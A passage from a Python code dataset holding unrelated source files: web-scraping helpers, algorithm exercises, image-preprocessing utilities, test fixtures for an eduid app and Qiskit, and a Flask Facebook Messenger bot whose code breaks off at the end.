BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n\n # 去除无关的标签\n [s.extract() for s in soup(['script', 'style','img'])]\n # print(soup.prettify())\n return soup\n\n'''\n获取百度百科的页面\n'''\ndef get_html_baike(url,req):\n soup = BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n\n # 去除无关的标签\n [s.extract() for s in soup(['script', 'style', 'img', 'sup'])]\n # print(soup.prettify())\n return soup\n\n\n\n'''\n获取Bing网典的页面\n'''\ndef get_html_bingwd(url,req):\n soup = BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n\n # 去除无关的标签\n [s.extract() for s in soup(['script', 'style', 'img', 'sup'])]\n # print(soup.prettify())\n return soup\n\n\n\n'''\n获取百度搜索的结果\n'''\ndef get_html_baidu(url,req):\n soup = BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n # 去除无关的标签\n # [s.extract() for s in soup(['script', 'style','img'])]\n [s.extract() for s in soup(['style', 'img'])]\n # print(soup.prettify())\n return soup\n\ndef get_html_baidu_selenium1(schoolname,req):\n #window版本\n driver = webdriver.Chrome(\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver\")\n #linux版本\n # chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument('--headless')\n # chrome_options.add_argument('--disable-gpu')\n # chrome_options.add_argument(\"user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'\")\n # driver = webdriver.Chrome(chrome_options=chrome_options)\n #######\n driver.get(\"https://gaokao.chsi.com.cn/sch/search.do?searchType=1&yxmc=\"+schoolname)\n soup = BeautifulSoup(driver.page_source,'lxml')\n soup = soup.find(class_=\"js-yxk-yxmc\").find(\"a\")[\"href\"]\n soup = get_html_baidu(\"https://gaokao.chsi.com.cn\" + soup,req)\n driver.quit()\n return soup\n\ndef get_html_baidu_selenium2(schoolname,req):\n # window版本\n driver = webdriver.Chrome(\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver\")\n # linux版本\n # chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument('--headless')\n # chrome_options.add_argument('--disable-gpu')\n # chrome_options.add_argument(\"user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'\")\n # driver = webdriver.Chrome(chrome_options=chrome_options)\n ########\n driver.get(\"http://college.gaokao.com/schlist/n\"+schoolname)\n soup = BeautifulSoup(driver.page_source,'lxml')\n soup = soup.find(class_=\"scores_List\").find(\"dt\").find(\"a\")[\"href\"]\n soup = get_html_baidu(soup,req)\n driver.quit()\n return soup\n\n\n\n\n'''\n获取Bing搜索的结果\n'''\ndef get_html_bing(url,req):\n # url = 'http://global.bing.com/search?q='+word\n soup = BeautifulSoup(req.session.get(url=url, headers=req.headers).content, \"lxml\")\n\n # 去除无关的标签\n # [s.extract() for s in soup_bing(['script', 'style','img'])]\n return soup\n\n\n\n# '''\n# print answer\n# '''\n# def ptranswer(ans,ifhtml):\n# result = ''\n# # print ans\n# for answer in ans:\n# if ifhtml:\n# print answer\n# else:\n# if answer == u'\\n':\n# # print '回车'\n# continue\n# p = re.compile('<[^>]+>')\n# # print '##############'\n# # print answer\n# # print type(answer)\n# # if answer.name == 'br':\n# # continue\n# # print p.sub(\"\", answer.string)\n# # print '##############'\n# result += p.sub(\"\", answer.string).encode('utf8')\n# return result\n#\n#\n# def ltptools(args):\n# url_get_base = \"http://api.ltp-cloud.com/analysis/\"\n# result = urllib.urlopen(url_get_base, urllib.urlencode(args)) # POST method\n# content = result.read().strip()\n# return content\n\n\nif __name__ == '__main__':\n pass\n # get_html_baidu(\"http://baike.baidu.com/item/\")\n # args = {\n # 'api_key' : 'F1e194G841HHvTDhqb4JsGrHHw4Q0DYFbzKqgQNm',\n # 'text' : '太阳为什么是圆的。',\n # 'pattern' : 'srl',\n # 'format' : 'json'\n # }\n # content = ltptools(args=args)\n # print content","sub_path":"QA/Tools/Html_Tools.py","file_name":"Html_Tools.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"454210150","text":"# Python code to Reverse each word \n# of a Sentence individually \n\n# Function to Reverse words \ndef reverseWordSentence(Sentence): \n\n\t# Splitting the Sentence into list of words. \n\twords = Sentence.split(\" \") \n\t\n\t# Reversing each word and creating \n\t# a new list of words \n\t# List Comprehension Technique \n\tnewWords = [word[::-1] for word in words] \n\t\n\t# Joining the new list of words \n\t# to for a new Sentence \n\tnewSentence = \" \".join(newWords) \n\n\treturn newSentence \n\n# Driver's Code \nSentence = \"Python is a good language to learn\"\n# Calling the reverseWordSentence \n# Function to get the newSentence \nprint(reverseWordSentence(Sentence)) \n","sub_path":"Python/Tuples/ReverseWord.py","file_name":"ReverseWord.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"435704875","text":"import sys\r\n\r\nnum = int(input())\r\nline = list(map(int, sys.stdin.readline().strip().split()))\r\n\r\nlst = [(line[0], 1)]\r\n\r\nm = line[0] # 가장 작은 박스의 크기\r\nM = line[0] # 가장 많이 들어간 박스의 크기\r\nM_num = 1 # 가장 많이 들어간 박스의 개수\r\n\r\nfor idx in line[1:] :\r\n lst.sort(reverse = True)\r\n \r\n if idx in [m, M] :\r\n continue\r\n\r\n if idx > M :\r\n M_num += 1\r\n M = idx\r\n lst.append((M, M_num))\r\n continue\r\n \r\n if idx < m :\r\n m = idx\r\n lst.append((m, 1))\r\n continue\r\n\r\n\r\n temp = sorted(list(filter(lambda x : x[0] < idx, lst)), key = lambda x : x[1])[-1][1]\r\n value = temp + 1\r\n lst.append((idx, value))\r\n\r\n if value > M_num :\r\n M_num = value\r\n M = idx\r\n continue\r\n\r\n if (value == M_num) and (idx < M):\r\n M = idx\r\n continue\r\n\r\nprint(M_num)\r\n\r\n#다른 방법, 위 방법보다 더 빠름\r\nimport sys\r\n\r\nclass NewQueue() :\r\n def __init__(self, lst) :\r\n self.queue = lst\r\n self.max = 1\r\n\r\n def insert(self, elts) :\r\n find = False\r\n for idx, val in enumerate(self.queue) :\r\n if elts > val[0] and not find :\r\n index = idx \r\n m = val[1]\r\n find = True\r\n \r\n if find and m < val[1]:\r\n m = val[1]\r\n\r\n self.queue.insert(index, (elts, m+1))\r\n if m+1 > self.max :\r\n self.max = m+1\r\n \r\n def append(self, elts) :\r\n self.queue.append((elts, 1))\r\n\r\n def get(self) :\r\n return self.max\r\n \r\nnum = int(input())\r\nline = list(map(int, sys.stdin.readline().strip().split()))\r\n\r\nlst = NewQueue([(line[0], 1)])\r\nm = line[0]\r\n\r\nfor idx in line[1:] : \r\n if idx == m :\r\n continue\r\n \r\n if idx < m :\r\n m = idx\r\n lst.append(m)\r\n continue\r\n\r\n lst.insert(idx)\r\n\r\nprint(lst.get())\r\n\r\n#다른 방법2, 위 방법보다 더 빠름\r\nimport sys\r\n\r\nclass NewQueue() :\r\n def __init__(self, lst) :\r\n self.queue = lst\r\n self.max = 1\r\n\r\n def insert(self, elts) :\r\n index = self.binary_search(elts)\r\n m = 0\r\n for idx in self.queue :\r\n if elts <= idx[0]:\r\n break\r\n \r\n if m < idx[1] :\r\n m = idx[1]\r\n \r\n if m >= self.max :\r\n self.max = m+1\r\n\r\n self.queue.insert(index, (elts, m+1))\r\n\r\n def append(self, elts) :\r\n self.queue.insert(0, (elts, 1))\r\n\r\n def get(self) :\r\n return self.max\r\n\r\n def binary_search(self, target):\r\n start = 0\r\n end = len(self.queue) -1\r\n\r\n if end == 0 :\r\n return 1\r\n\r\n while start < end:\r\n mid = (start + end) // 2\r\n\r\n if self.queue[mid][0] == target:\r\n return mid \r\n \r\n elif self.queue[mid][0] < target:\r\n start = mid + 1\r\n\r\n elif self.queue[mid][0] > target:\r\n end = mid -1\r\n \r\n if start == end :\r\n if self.queue[start][0] > target :\r\n return start\r\n \r\n else :\r\n return start+1\r\n\r\n else :\r\n if self.queue[end][0] > target :\r\n return end\r\n \r\n else :\r\n return end+1\r\n \r\nnum = int(input())\r\nline = list(map(int, sys.stdin.readline().strip().split()))\r\n\r\nlst = NewQueue([(line[0], 1)])\r\nm = line[0]\r\n\r\nfor idx in line[1:] : \r\n if idx == m :\r\n continue\r\n \r\n if idx < m :\r\n m = idx\r\n lst.append(m)\r\n continue\r\n\r\n lst.insert(idx)\r\n\r\nprint(lst.get())\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n","sub_path":"Algorithm/python/b1965.py","file_name":"b1965.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"428893845","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nfrom PIL import Image\nimport os\nimport pickle\nimport re\nimport csv\nfrom itertools import islice\nimport matplotlib.pyplot as plt\nfrom src.utils.solver import Solver\n\n\n\n\n\n\nnp.set_printoptions(threshold= 10000)\n\npattern = \"\\d\"\n\ndef loadModelNN(modelpath):\n\n parameters = loadDatafrPKL(modelpath)\n\n model = parameters['model']\n\n data = {\n 'X_train' : np.ones(10),\n 'y_train' : np.ones(10),\n 'X_val' : np.ones(10),\n 'y_val' : np.ones(10)\n }\n\n solver = Solver(model, data, update_rule = parameters['rule'],\n lr_decay = parameters['lr_decay'], optim_config = parameters['optim_config'],\n batch_size = parameters['batch_size'])\n\n\n return solver\n\ndef loadDataSorted(img_folder):\n test_data = []\n\n image_list = os.listdir(img_folder)\n image_list = sorted(image_list, key = lambda x : int(x.split('.')[0]))\n\n\n for item in image_list:\n exactPath = os.path.join(img_folder, item)\n im = Image.open(exactPath)\n im = im.convert('L')\n\n im = np.array(im, dtype = np.float32)\n test_data.append(im)\n\n return np.array(test_data, dtype = np.float32)\n\n\ndef loadDatafromFolderINX(img_folder, start, end):\n test_data = []\n\n for i in range(start, end+ 1):\n exactPath = os.path.join(img_folder, '{}.jpg'.format(i))\n\n im = Image.open(exactPath)\n im = im.convert('L')\n\n im = np.array(im, dtype = np.float32)\n test_data.append(im)\n\n return np.array(test_data, dtype = np.float32)\n\n\ndef loadDatafromFolder(img_folder):\n\n test_data = []\n\n for image in os.listdir(img_folder):\n path = os.path.join(img_folder, image)\n\n im = Image.open(path)\n im = im.convert('L')\n print (path)\n im = np.array(im, dtype = np.float32)\n test_data.append(im)\n\n return np.array(test_data, dtype = np.float32)\n\ndef dataPrepocessing(data):\n for i in range(data.shape[0]):\n data[i] = Zerocenter_ZCA_whitening_Global_Contrast_Normalize(data[i])\n return data\n\ndef dataLoad(path, start, end):\n\n data = []\n for i in range(start, end + 1):\n exactPath = \"%s\\%s\" % (path, '{}.jpg'.format(i))\n\n im = Image.open(exactPath)\n im = im.convert('L')\n\n im = np.array(im, dtype = np.float32)\n data.append(im)\n\n return np.array(data, dtype=np.float32)\n\ndef loadfromCSV(path):\n\n x_train = []\n y_train = []\n x_eval = []\n y_eval = []\n x_test = []\n y_test = []\n\n data_file = csv.reader(open(path, 'r'))\n for row in islice(data_file, 1, None):\n type = row[2]\n if type == 'Training':\n y_train.append(int(row[0]))\n tmp = row[1].split()\n x_train.append(np.array(tmp,dtype=np.int32).reshape(48,48))\n elif type == 'PublicTest':\n y_eval.append(int(row[0]))\n tmp = row[1].split()\n x_eval.append(np.array(tmp, dtype=np.int32).reshape(48, 48))\n else:\n y_test.append(int(row[0]))\n tmp = row[1].split()\n x_test.append(np.array(tmp, dtype=np.int32).reshape(48, 48))\n\n return np.array(x_train, dtype=np.float32), np.array(y_train), np.array(x_eval, dtype=np.float32), np.array(y_eval), np.array(x_test, dtype=np.float32), np.array(y_test)\n\n\ndef saveData(DIC, filename):\n pickle.dump(DIC, open(filename, 'wb'))\n\n\ndef loadDatafrPKL(filename):\n DATADIC = pickle.load(open(filename, 'rb'))\n return DATADIC\n\ndef loadLabels(filename):\n\n y_train = []\n y_test = []\n\n with open(filename, 'r') as labels:\n while True:\n lines = labels.readline()\n if not lines:\n break\n if len(re.findall(pattern, lines)) == 0:\n continue\n p_tmp, l = [str for str in lines.split(',')]\n testortrain, tmp = [str for str in lines.split('/')]\n\n if testortrain == 'Train':\n y_train.append(int(l))\n else:\n y_test.append(int(l))\n\n y_train = np.array(y_train)\n y_test = np.array(y_test)\n return y_train, y_test\n\ndef loadTrainData(path):\n\n DATA = loadDatafrPKL(path)\n train_data = DATA['x_train']\n train_labels = DATA['y_train']\n eval_data = DATA['x_test']\n eval_labels = DATA['y_test']\n\n\n train_data, eval_data = train_data / 255.0, eval_data / 255.0\n\n train_data = ip.image_processing(train_data)\n eval_data = ip.image_processing(eval_data)\n\n train_data = train_data.reshape(-1, 48 , 48 , 1)\n eval_data = eval_data.reshape(-1, 48, 48, 1)\n #train_labels = (np.arange(7) == train_labels[:, None]).astype(np.float32)\n #eval_labels = (np.arange(7) == eval_labels[:, None]).astype(np.float32)\n\n\n\n return train_data, train_labels, eval_data, eval_labels\n\ndef loadTestData():\n DATA = loadDatafrPKL('D:\\CourseWork\\CNN\\DATA_CSV.pkl')\n test_data = DATA['x_test']\n test_data /= 255.0\n test_labels = DATA['y_test']\n test_data = ip.image_processing(test_data)\n test_data = test_data.reshape(-1, 48, 48, 1)\n\n test_data = test_data.astype(dtype= np.float32)\n test_labels = test_labels.astype(dtype = np.int32)\n\n #test_labels = (np.arange(7) == test_labels[:, None]).astype(np.float32)\n\n return test_data, test_labels\n\n\n\ndef plot_cm(cm):\n\n norm_conf = []\n for i in cm:\n a = 0\n tmp_arr = []\n a = sum(i, 0)\n for j in i:\n tmp_arr.append(float(j) / float(a))\n norm_conf.append(tmp_arr)\n\n fig = plt.figure()\n plt.clf()\n ax = fig.add_subplot(111)\n ax.set_aspect(1)\n res = ax.imshow(np.array(norm_conf), cmap=plt.cm.coolwarm,\n interpolation='nearest')\n\n width, height = cm.shape\n\n for x in range(width):\n for y in range(height):\n ax.annotate(str(cm[x][y]), xy=(y, x),\n horizontalalignment='center',\n verticalalignment='center')\n\n ax.tick_params(axis='both', which='major', labelsize=9)\n\n cb = fig.colorbar(res)\n alphabet = ['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\n plt.xticks(range(width), alphabet[:width], )\n plt.yticks(range(height), alphabet[:height])\n plt.savefig('confusion_matrix.png', format='png')\n\n\ndef Zerocenter_ZCA_whitening_Global_Contrast_Normalize(data):\n data2 = ZeroCenter(data)\n data3 = zca_whitening(flatten_matrix(data2)).reshape(48, 48)\n data4 = global_contrast_normalize(data3)\n data5 = np.rot90(data4, 3)\n return data5\n\ndef ZeroCenter(data):\n data = data - np.mean(data, axis=0)\n return data\n\ndef flatten_matrix(matrix):\n vector = matrix.flatten(1)\n vector = vector.reshape(1, len(vector))\n return vector\n\ndef global_contrast_normalize(X, scale=1., subtract_mean=True, use_std=True,\n sqrt_bias=10, min_divisor=1e-8):\n \"\"\"\n __author__ = \"David Warde-Farley\"\n __copyright__ = \"Copyright 2012, Universite de Montreal\"\n __credits__ = [\"David Warde-Farley\"]\n __license__ = \"3-clause BSD\"\n __email__ = \"wardefar@iro\"\n __maintainer__ = \"David Warde-Farley\"\n .. [1] A. Coates, H. Lee and A. Ng. \"An Analysis of Single-Layer\n Networks in Unsupervised Feature Learning\". AISTATS 14, 2011.\n http://www.stanford.edu/~acoates/papers/coatesleeng_aistats_2011.pdf\n \"\"\"\n assert X.ndim == 2, \"X.ndim must be 2\"\n scale = float(scale)\n assert scale >= min_divisor\n\n mean = X.mean(axis=1)\n if subtract_mean:\n X = X - mean[:, np.newaxis]\n else:\n X = X.copy()\n if use_std:\n ddof = 1\n if X.shape[1] == 1:\n ddof = 0\n normalizers = np.sqrt(sqrt_bias + X.var(axis=1, ddof=ddof)) / scale\n else:\n normalizers = np.sqrt(sqrt_bias + (X ** 2).sum(axis=1)) / scale\n normalizers[normalizers < min_divisor] = 1.\n X /= normalizers[:, np.newaxis] # Does not make a copy.\n return X\n\ndef zca_whitening(inputs):\n sigma = np.dot(inputs, inputs.T) / inputs.shape[1] # Correlation matrix\n U, S, V = np.linalg.svd(sigma) # Singular Value Decomposition\n epsilon = 0.1 # Whitening constant, it prevents division by zero\n ZCAMatrix = np.dot(np.dot(U, np.diag(1.0 / np.sqrt(np.diag(S) + epsilon))), U.T) # ZCA Whitening matrix\n return np.dot(ZCAMatrix, inputs) # Data whitening\n","sub_path":"data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":8405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"46593013","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2018 NORDUnet A/S\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n# 3. Neither the name of the NORDUnet nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom typing import Any, Mapping, Optional\n\nfrom bson import ObjectId\nfrom mock import MagicMock\n\nfrom eduid_common.api.testing import EduidAPITestCase\nfrom eduid_common.session import session\nfrom eduid_userdb.fixtures.users import mocked_user_standard\nfrom eduid_userdb.userdb import User\n\nfrom eduid_webapp.actions.action_abc import ActionPlugin\nfrom eduid_webapp.actions.app import ActionsApp, actions_init_app\nfrom eduid_webapp.actions.helpers import ActionsMsg\n\n\nclass MockIdPContext:\n class Config:\n def __init__(self, **kwargs):\n for key, val in kwargs.items():\n setattr(self, key, val)\n\n class Logger:\n debug = MagicMock()\n warning = MagicMock()\n error = MagicMock()\n\n class Authn:\n def log_authn(self, user, success, failure):\n pass\n\n def __init__(self, actions_db, **kwargs):\n self.config = self.Config(**kwargs)\n self.logger = self.Logger()\n self.actions_db = actions_db\n self.authn = self.Authn()\n\n\nclass TestingActionPlugin(ActionPlugin):\n def get_number_of_steps(self):\n return 1\n\n def get_url_for_bundle(self, action):\n if 'action_error' in action.to_dict()['params']:\n raise self.ActionError(ActionsMsg.test_error)\n return \"http://example.com/plugin.js\"\n\n def get_config_for_bundle(self, action):\n if 'action_error' in action.to_dict()['params']:\n raise self.ActionError(ActionsMsg.test_error)\n return {'setting1': 'dummy'}\n\n def perform_step(self, action):\n if 'action_error' in action.to_dict()['params']:\n raise self.ActionError(ActionsMsg.test_error)\n if 'rm_action' in action.to_dict()['params']:\n raise self.ActionError(ActionsMsg.test_error, rm=True)\n if 'validation_error' in action.to_dict()['params']:\n raise self.ValidationError({'field1': 'field test error'})\n return {'completed': 'done'}\n\n\nDUMMY_ACTION = {\n '_id': ObjectId('234567890123456789012301'),\n 'eppn': 'hubba-bubba',\n 'action': 'dummy',\n 'preference': 100,\n 'params': {},\n}\n\nTEST_CONFIG = {\n 'available_languages': {'en': 'English', 'sv': 'Svenska'},\n 'dashboard_url': '/profile/',\n 'development': 'DEBUG',\n 'application_root': '/',\n 'log_level': 'DEBUG',\n 'idp_url': 'https://example.com/idp',\n 'internal_signup_url': 'https://example.com/signup',\n 'preserve_context_on_exception': False,\n 'eduid_static_url': 'http://example.com',\n 'bundles_path': '/bundles/',\n 'debug': False,\n 'devel_mode': True,\n 'u2f_app_id': 'foo',\n 'u2f_valid_facets': [],\n 'fido2_rp_id': 'https://test.example.edu',\n}\n\n\nclass ActionsTestCase(EduidAPITestCase):\n\n app: ActionsApp\n\n def setUp(self, users=None, copy_user_to_private=False, am_settings=None):\n super(ActionsTestCase, self).setUp(users=None)\n self.user = User.from_dict(data=mocked_user_standard.to_dict()) # make a copy of mocked_user_standard\n self.user.modified_ts = datetime.utcnow()\n self.app.central_userdb.save(self.user, check_sync=False)\n self.test_eppn = self.user.eppn\n\n def tearDown(self):\n self.app.central_userdb._drop_whole_collection()\n self.app.actions_db._drop_whole_collection()\n super(ActionsTestCase, self).tearDown()\n\n def load_app(self, config: Optional[Mapping[str, Any]]) -> ActionsApp:\n \"\"\"\n Called from the parent class, so we can provide the appropriate flask\n app for this test case.\n \"\"\"\n return actions_init_app('actions', config)\n\n def update_actions_config(self, config):\n \"\"\"\n to be overridden by child classes, where they can provide additional\n settings specific for the particular plugins to be tested.\n \"\"\"\n return config\n\n def update_config(self, config):\n more_config = self.update_actions_config(deepcopy(TEST_CONFIG))\n config.update(more_config)\n return config\n\n def prepare_session(\n self,\n client,\n action_dict=None,\n rm_action=False,\n validation_error=False,\n action_error=False,\n total_steps=1,\n current_step=1,\n add_action=True,\n idp_session='dummy-session',\n set_plugin=True,\n plugin_name='dummy',\n plugin_class=TestingActionPlugin,\n ):\n if action_dict is None:\n action_dict = deepcopy(DUMMY_ACTION)\n if action_error:\n action_dict['params']['action_error'] = True\n if rm_action:\n action_dict['params']['rm_action'] = True\n if validation_error:\n action_dict['params']['validation_error'] = True\n if add_action:\n self.app.actions_db.add_action(data=deepcopy(action_dict))\n action_dict['_id'] = str(action_dict['_id'])\n with client.session_transaction() as sess:\n sess['eppn'] = str(action_dict['eppn'])\n sess['user_eppn'] = str(action_dict['eppn'])\n sess['current_action'] = action_dict\n sess['current_plugin'] = plugin_name\n sess['idp_session'] = idp_session\n sess['current_step'] = current_step\n sess['total_steps'] = total_steps\n if set_plugin:\n self.app.plugins[plugin_name] = plugin_class\n\n def authenticate(self, action_type=None, idp_session=None):\n eppn = self.test_eppn\n session['eduPersonPrincipalName'] = eppn\n session['user_eppn'] = eppn\n session['user_is_logged_in'] = True\n if action_type is not None:\n session['current_plugin'] = action_type\n if idp_session is not None:\n session.actions.session = idp_session\n session.persist()\n\n def prepare(self, client, plugin_class, plugin_name, **kwargs):\n self.prepare_session(client, plugin_name=plugin_name, plugin_class=plugin_class, **kwargs)\n","sub_path":"src/eduid_webapp/actions/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":7595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"409395434","text":"# -*- coding: utf-8 -*-\n\n# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2019.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"Fake AccountClient.\"\"\"\n\n# TODO This can probably be merged with the one in test_ibmq_job_states\nimport time\nimport copy\nfrom random import randrange\n\n\nVALID_JOB_RESPONSE = {\n 'id': 'TEST_ID',\n 'kind': 'q-object',\n 'status': 'CREATING',\n 'creationDate': '2019-01-01T13:15:58.425972'\n}\n\nVALID_STATUS_RESPONSE = {\n 'status': 'COMPLETED'\n}\n\nVALID_RESULT_RESPONSE = {\n 'backend_name': 'ibmqx2',\n 'backend_version': '1.1.1',\n 'job_id': 'XC1323XG2',\n 'qobj_id': 'Experiment1',\n 'success': True,\n 'results': [\n {\n 'header': {\n 'name': 'Bell state',\n 'memory_slots': 2,\n 'creg_sizes': [['c', 2]],\n 'clbit_labels': [['c', 0], ['c', 1]],\n 'qubit_labels': [['q', 0], ['q', 1]]\n },\n 'shots': 1024,\n 'status': 'DONE',\n 'success': True,\n 'data': {\n 'counts': {\n '0x0': 484, '0x3': 540\n }\n }\n }\n ]\n}\n\n\nclass BaseFakeAccountClient:\n \"\"\"Base class for faking the AccountClient.\"\"\"\n\n def __init__(self):\n self._jobs = {}\n self._result_retrieved = []\n\n def list_jobs_statuses(self, *_args, **_kwargs):\n \"\"\"Return a list of statuses of jobs.\"\"\"\n raise NotImplementedError\n\n def job_submit(self, *_args, **_kwargs):\n \"\"\"Submit a Qobj to a device.\"\"\"\n new_job_id = str(time.time()).replace('.', '')\n while new_job_id in self._jobs:\n new_job_id += \"_\"\n response = copy.deepcopy(VALID_JOB_RESPONSE)\n response['id'] = new_job_id\n self._jobs[new_job_id] = response\n return response\n\n def job_download_qobj(self, *_args, **_kwargs):\n \"\"\"Retrieve and return a Qobj.\"\"\"\n raise NotImplementedError\n\n def job_result(self, job_id, *_args, **_kwargs):\n \"\"\"Return a random job result.\"\"\"\n if job_id in self._result_retrieved:\n raise ValueError(\"Result already retrieved for job {}!\".format(job_id))\n self._result_retrieved.append(job_id)\n result = copy.deepcopy(VALID_RESULT_RESPONSE)\n result['results'][0]['data']['counts'] = {\n '0x0': randrange(1024), '0x3': randrange(1024)}\n return result\n\n def job_get(self, job_id, *_args, **_kwargs):\n \"\"\"Return information about a job.\"\"\"\n job = self._jobs[job_id]\n job['status'] = 'COMPLETED'\n return job\n\n def job_status(self, *_args, **_kwargs):\n \"\"\"Return the status of a job.\"\"\"\n return VALID_STATUS_RESPONSE\n\n def job_final_status(self, *_args, **_kwargs):\n \"\"\"Wait until the job progress to a final state.\"\"\"\n return VALID_STATUS_RESPONSE\n\n def job_properties(self, *_args, **_kwargs):\n \"\"\"Return the backend properties of a job.\"\"\"\n raise NotImplementedError\n\n def job_cancel(self, *_args, **_kwargs):\n \"\"\"Submit a request for cancelling a job.\"\"\"\n raise NotImplementedError\n","sub_path":"test/fake_account_client.py","file_name":"fake_account_client.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"539115416","text":"\n\"\"\"\n\nReferences\n----------\n.. [1] https://chatbotnewsdaily.com/build-a-facebook-messenger-chat-bot-in-\n10-minutes-5f28fe0312cd\n\nhttps://github.com/enginebai/PyMessager/blob/master/api.py\n\n\"\"\"\n\nimport sys\nimport json\nimport requests\nfrom flask import Flask, request\n\nfrom chatbotQuery.ui import HandlerConvesationUI\n\n# FB messenger credentials\nACCESS_TOKEN = \"\"\nbase_token_fbpage = \"https://graph.facebook.com/v2.6/me/messages?access_token=\"\n\n\ndef jsonify_message(messageDict):\n if messageDict['collection']:\n answer = []\n for m in messageDict['message']:\n answer.append(str(m['message']))\n answer = str('\\n'.join(answer))\n else:\n answer = str(messageDict['message'])\n answer = json.loads(answer)\n return answer\n\n\ndef create_app(bot, pars):\n ## Parameters\n ACCESS_TOKEN = pars['ACCESS_TOKEN']\n SECRET_KEY = pars['SECRET_KEY']\n\n ## App creation\n app = Flask(__name__)\n app.config['DEBUG'] = True\n app.config['SECRET_KEY'] = SECRET_KEY\n\n ## Check request\n @app.route('/', methods=['GET'])\n def verify():\n # our endpoint echos back the 'hub.challenge' value specified\n # when we setup the webhook\n ifsubscribed = request.args.get(\"hub.mode\") == \"subscribe\"\n if ifsubscribed and request.args.get(\"hub.challenge\"):\n if not request.args.get(\"hub.verify_token\") == 'foo':\n return \"Verification token mismatch\", 403\n return request.args[\"hub.challenge\"], 200\n return 'Hello World (from Flask!)', 200\n\n ## Reply function\n def reply(user_id, msg):\n data = {\n \"recipient\": {\"id\": user_id},\n \"message\": {\"text\": msg}\n }\n resp = requests.post(base_token_fbpage + ACCESS_TOKEN, json=data)\n print(resp.content)\n\n ## Answer creation\n @app.route('/', methods=['POST'])\n def handle_incoming_messages():\n # Get message\n data = request.json\n sender = data['entry'][0]['messaging'][0]['sender']['id']\n message = data['entry'][0]['messaging'][0]['message']['text']\n\n # Get and format answer\n messageDict = bot.get_message({'message': message})\n response_obj = jsonify_message(messageDict)\n\n # Send answer\n if 'result' in response_obj:\n response = response_obj[\"result\"][\"fulfillment\"][\"speech\"]\n reply(sender, response)\n return \"ok\"\n\n return app\n\n\nif __name__ == '__main__':\n ## Parse parameters\n args = sys.argv\n db_conf_file = args[1]\n conv_conf_file = args[2]\n parameters_file = args[3]\n\n with open(parameters_file) as data_file:\n conf_pars = json.load(data_file)\n conf_pars = conf_pars if isinstance(conf_pars, dict) else conf_pars[0]\n\n ## Create bot\n handler_ui = HandlerConvesationUI.\\\n from_configuration_files(db_conf_file, conv_conf_file)\n\n ## Create app\n app = create_app(handler_ui, conf_pars)\n\n ## Run app\n 